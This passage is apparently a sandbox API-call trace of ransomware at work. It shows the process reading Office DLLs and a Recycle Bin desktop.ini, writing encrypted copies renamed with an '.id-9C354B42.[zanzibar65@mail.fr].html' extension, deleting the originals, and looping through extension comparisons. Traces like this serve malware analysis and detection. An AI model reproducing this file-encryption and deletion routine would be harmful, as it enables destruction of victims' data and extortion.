(lpString1=".ppt", lpString2=".DLL") returned 1 [0058.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0058.731] lstrlenW (lpString=".zip") returned 4 [0058.731] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.731] lstrlenW (lpString=".rar") returned 4 [0058.731] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.731] lstrlenW (lpString=".bz2") returned 4 [0058.731] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.731] lstrlenW (lpString=".7z") returned 3 [0058.731] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0058.731] lstrlenW (lpString=".dbf") returned 4 [0058.731] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0058.731] lstrlenW (lpString=".1cd") returned 4 [0058.732] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0058.732] lstrlenW (lpString=".jpg") returned 4 [0058.732] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.732] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0058.732] lstrlenW (lpString="xlsrvintl.dll") returned 13 [0058.732] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0060.920] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=105344) returned 1 [0060.921] CloseHandle (hObject=0x254) returned 1 [0060.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll")) returned 0x20 [0060.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0060.921] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0060.921] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.921] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.921] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0060.925] GetLastError () returned 0x0 [0060.925] ReadFile (in: hFile=0x254, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x19b80, lpOverlapped=0x0) returned 1 [0060.929] WriteFile (in: hFile=0x1d8, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x19b90, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0x19b90, lpOverlapped=0x0) returned 1 [0060.931] ReadFile (in: hFile=0x254, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0060.931] WriteFile (in: hFile=0x1d8, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0xee, lpOverlapped=0x0) returned 1 [0060.931] SetEndOfFile (hFile=0x1d8) returned 1 [0060.931] CloseHandle (hObject=0x1d8) returned 1 [0060.931] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.931] SetEndOfFile (hFile=0x254) returned 1 [0060.933] CloseHandle (hObject=0x254) returned 1 [0060.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0060.933] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll")) returned 1 [0060.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0060.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0060.933] lstrlenW (lpString=".doc") returned 4 [0060.933] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.933] lstrlenW (lpString=".docx") returned 5 [0060.933] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0060.933] lstrlenW (lpString=".pdf") returned 4 [0060.933] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.933] lstrlenW (lpString=".xls") returned 4 [0060.933] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.933] lstrlenW (lpString=".xlsx") returned 5 [0060.933] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0060.933] lstrlenW (lpString=".ppt") returned 4 [0060.933] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0060.933] lstrlenW (lpString=".zip") returned 4 [0060.934] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.934] lstrlenW (lpString=".rar") returned 4 [0060.934] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.934] lstrlenW (lpString=".bz2") returned 4 [0060.934] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.934] lstrlenW (lpString=".7z") returned 3 [0060.934] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0060.934] lstrlenW (lpString=".dbf") returned 4 [0060.934] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0060.934] lstrlenW (lpString=".1cd") returned 4 [0060.934] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0060.934] lstrlenW (lpString=".jpg") returned 4 [0060.934] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0060.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0060.934] lstrlenW (lpString=".doc") returned 4 [0060.934] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0060.934] lstrlenW (lpString=".docx") returned 5 [0060.934] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0060.934] lstrlenW (lpString=".pdf") returned 4 [0060.934] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0060.934] lstrlenW (lpString=".xls") returned 4 [0060.934] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0060.934] lstrlenW (lpString=".xlsx") returned 5 [0060.934] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0060.934] lstrlenW (lpString=".ppt") returned 4 [0060.934] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0060.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0060.934] lstrlenW (lpString=".zip") returned 4 [0060.934] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0060.935] lstrlenW (lpString=".rar") returned 4 [0060.935] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0060.935] lstrlenW (lpString=".bz2") returned 4 [0060.935] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0060.935] lstrlenW (lpString=".7z") returned 3 [0060.935] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0060.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0060.935] lstrlenW (lpString=".dbf") returned 4 [0060.935] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0060.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0060.935] lstrlenW (lpString=".1cd") returned 4 [0060.935] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0060.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0060.935] lstrlenW (lpString=".jpg") returned 4 [0060.935] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0060.935] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0060.935] lstrlenW (lpString="ACEEXCH.DLL") returned 11 [0060.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0060.936] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=442272) returned 1 [0060.936] CloseHandle (hObject=0x254) returned 1 [0060.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll")) returned 0x20 [0060.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0060.936] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0060.936] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.936] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.936] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0060.937] GetLastError () returned 0x0 [0060.937] ReadFile (in: hFile=0x254, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x6bfa0, lpOverlapped=0x0) returned 1 [0060.945] WriteFile (in: hFile=0x1d8, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x6bfb0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0x6bfb0, lpOverlapped=0x0) returned 1 [0060.953] ReadFile (in: hFile=0x254, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0060.953] WriteFile (in: hFile=0x1d8, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0xea, lpOverlapped=0x0) returned 1 [0060.953] SetEndOfFile (hFile=0x1d8) returned 1 [0060.953] CloseHandle (hObject=0x1d8) returned 1 [0060.953] SetFilePointerEx (in: hFile=0x254, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.953] SetEndOfFile (hFile=0x254) returned 1 [0060.957] CloseHandle (hObject=0x254) returned 1 [0060.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0060.957] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll")) returned 1 [0060.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0060.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0060.957] lstrlenW (lpString=".doc") returned 4 [0060.957] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.957] lstrlenW (lpString=".docx") returned 5 [0060.958] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0060.958] lstrlenW (lpString=".pdf") returned 4 [0060.958] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.958] lstrlenW (lpString=".xls") returned 4 [0060.958] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.958] lstrlenW (lpString=".xlsx") returned 5 [0060.958] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0060.958] lstrlenW (lpString=".ppt") returned 4 [0060.958] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0060.958] lstrlenW (lpString=".zip") returned 4 [0060.958] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.958] lstrlenW (lpString=".rar") returned 4 [0060.958] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.958] lstrlenW (lpString=".bz2") returned 4 [0060.958] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.958] lstrlenW (lpString=".7z") returned 3 [0060.958] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0060.958] lstrlenW (lpString=".dbf") returned 4 [0060.958] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0060.958] lstrlenW (lpString=".1cd") returned 4 [0060.958] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0060.958] lstrlenW (lpString=".jpg") returned 4 [0060.958] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0060.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0060.958] lstrlenW (lpString=".doc") returned 4 [0060.958] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.958] lstrlenW (lpString=".docx") returned 5 [0060.959] lstrcmpiW (lpString1=".docx", lpString2="H.DLL") returned -1 [0060.959] lstrlenW (lpString=".pdf") returned 4 [0060.959] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.959] lstrlenW (lpString=".xls") returned 4 [0060.959] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.959] lstrlenW (lpString=".xlsx") returned 5 [0060.959] lstrcmpiW (lpString1=".xlsx", lpString2="H.DLL") returned -1 [0060.959] lstrlenW (lpString=".ppt") returned 4 [0060.959] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0060.959] lstrlenW (lpString=".zip") returned 4 [0060.959] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.959] lstrlenW (lpString=".rar") returned 4 [0060.959] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.959] lstrlenW (lpString=".bz2") returned 4 [0060.959] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.959] lstrlenW (lpString=".7z") returned 3 [0060.959] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0060.959] lstrlenW (lpString=".dbf") returned 4 [0060.959] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0060.959] lstrlenW (lpString=".1cd") returned 4 [0060.959] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL") returned 67 [0061.173] lstrlenW (lpString=".jpg") returned 4 [0061.174] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.174] lstrcmpiW (lpString1=".DLL", lpString2=".html") returned -1 [0061.174] lstrlenW (lpString="ACER3X.DLL") returned 10 [0061.174] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACER3X.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acer3x.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 15 os_tid = 0x97c [0032.750] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10000) returned 0x38806a0 [0032.750] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10000) returned 0x38906a8 [0032.751] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x270398 [0032.751] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x6) returned 0x2730d8 [0032.751] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x2703b0 [0032.751] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x100000) returned 0x3c60020 [0032.751] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x2703c8 [0032.751] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2703c8, Size=0x20) returned 0x255cf8 [0032.751] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x2703c8 [0032.751] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2703c8, Size=0x20) returned 0x255cd0 [0032.751] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.752] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.752] Wow64DisableWow64FsRedirection (in: OldValue=0x313ff58 | out: OldValue=0x313ff58*=0x0) returned 1 [0032.752] lstrlenW (lpString="kernel32.dll") returned 12 [0032.752] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255cf8 | out: hHeap=0x220000) returned 1 [0032.752] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.752] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255cd0 | out: hHeap=0x220000) returned 1 [0032.752] Sleep (dwMilliseconds=0x64) [0032.932] Sleep (dwMilliseconds=0x64) [0033.147] lstrcmpiW (lpString1=".ini", lpString2=".html") returned 1 [0033.147] lstrlenW (lpString="desktop.ini") returned 11 [0033.148] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0033.148] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=129) returned 1 [0033.148] CloseHandle (hObject=0x160) returned 1 [0033.148] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0033.148] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0033.148] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0033.148] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0033.148] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0033.148] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0033.149] GetLastError () returned 0x0 [0033.149] ReadFile (in: hFile=0x160, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x81, lpOverlapped=0x0) returned 1 [0033.161] WriteFile (in: hFile=0x164, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x90, lpOverlapped=0x0) returned 1 [0033.162] ReadFile (in: hFile=0x160, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0033.162] WriteFile (in: hFile=0x164, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xea, lpOverlapped=0x0) returned 1 [0033.162] SetEndOfFile (hFile=0x164) returned 1 [0033.162] CloseHandle (hObject=0x164) returned 1 [0033.164] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0033.164] SetEndOfFile (hFile=0x160) returned 1 [0033.165] CloseHandle (hObject=0x160) returned 1 [0033.165] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x26) returned 1 [0033.165] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 1 [0033.166] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.166] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.166] lstrlenW (lpString=".doc") returned 4 [0033.166] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0033.166] lstrlenW (lpString=".docx") returned 5 [0033.166] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0033.166] lstrlenW (lpString=".pdf") returned 4 [0033.166] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0033.166] lstrlenW (lpString=".xls") returned 4 [0033.166] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0033.166] lstrlenW (lpString=".xlsx") returned 5 [0033.166] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0033.166] lstrlenW (lpString=".ppt") returned 4 [0033.166] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0033.166] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0033.166] lstrlenW (lpString=".zip") returned 4 [0033.166] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0033.166] lstrlenW (lpString=".rar") returned 4 [0033.166] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0033.166] lstrlenW (lpString=".bz2") returned 4 [0033.166] 